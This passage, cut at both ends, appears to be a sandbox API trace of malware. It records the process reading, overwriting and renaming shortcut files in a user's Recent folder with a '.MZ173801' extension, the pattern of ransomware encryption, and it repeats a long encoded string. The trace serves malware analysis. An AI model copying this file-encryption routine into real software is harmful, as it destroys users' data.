27qhg4nhwzh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.950] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.950] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.950] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf38 [0120.950] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.950] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf38, lpOverlapped=0x0) returned 1 [0120.951] CloseHandle (hObject=0x288) returned 1 [0120.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c4 27Qhg4nHWZH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c4 27qhg4nhwzh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.952] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf38, lpOverlapped=0x0) returned 1 [0120.953] CloseHandle (hObject=0x288) returned 1 [0120.956] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c4 27Qhg4nHWZH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c4 27qhg4nhwzh.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c4 27Qhg4nHWZH.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c4 27qhg4nhwzh.lnk.mz173801")) returned 1 [0120.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee14f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="CezH.lnk", cAlternateFileName="")) returned 1 [0120.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CezH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cezh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee14f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0120.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CezH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cezh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.973] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.973] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.973] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9ea [0120.973] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.973] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9ea, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9ea, lpOverlapped=0x0) returned 1 [0120.974] CloseHandle (hObject=0x288) returned 1 [0120.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CezH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cezh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.975] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9ea, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9ea, lpOverlapped=0x0) returned 1 [0120.976] CloseHandle (hObject=0x288) returned 1 [0120.977] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CezH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cezh.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CezH.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cezh.lnk.mz173801")) returned 1 [0120.977] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea36ba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdea36ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdea36ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20a9, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Cgmyp-9fTcDYC8.lnk", cAlternateFileName="CGMYP-~1.LNK")) returned 1 [0120.978] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.978] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cgmyp-9fTcDYC8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cgmyp-9ftcdyc8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea36ba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdea36ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdea36ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20a9)) returned 1 [0120.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGR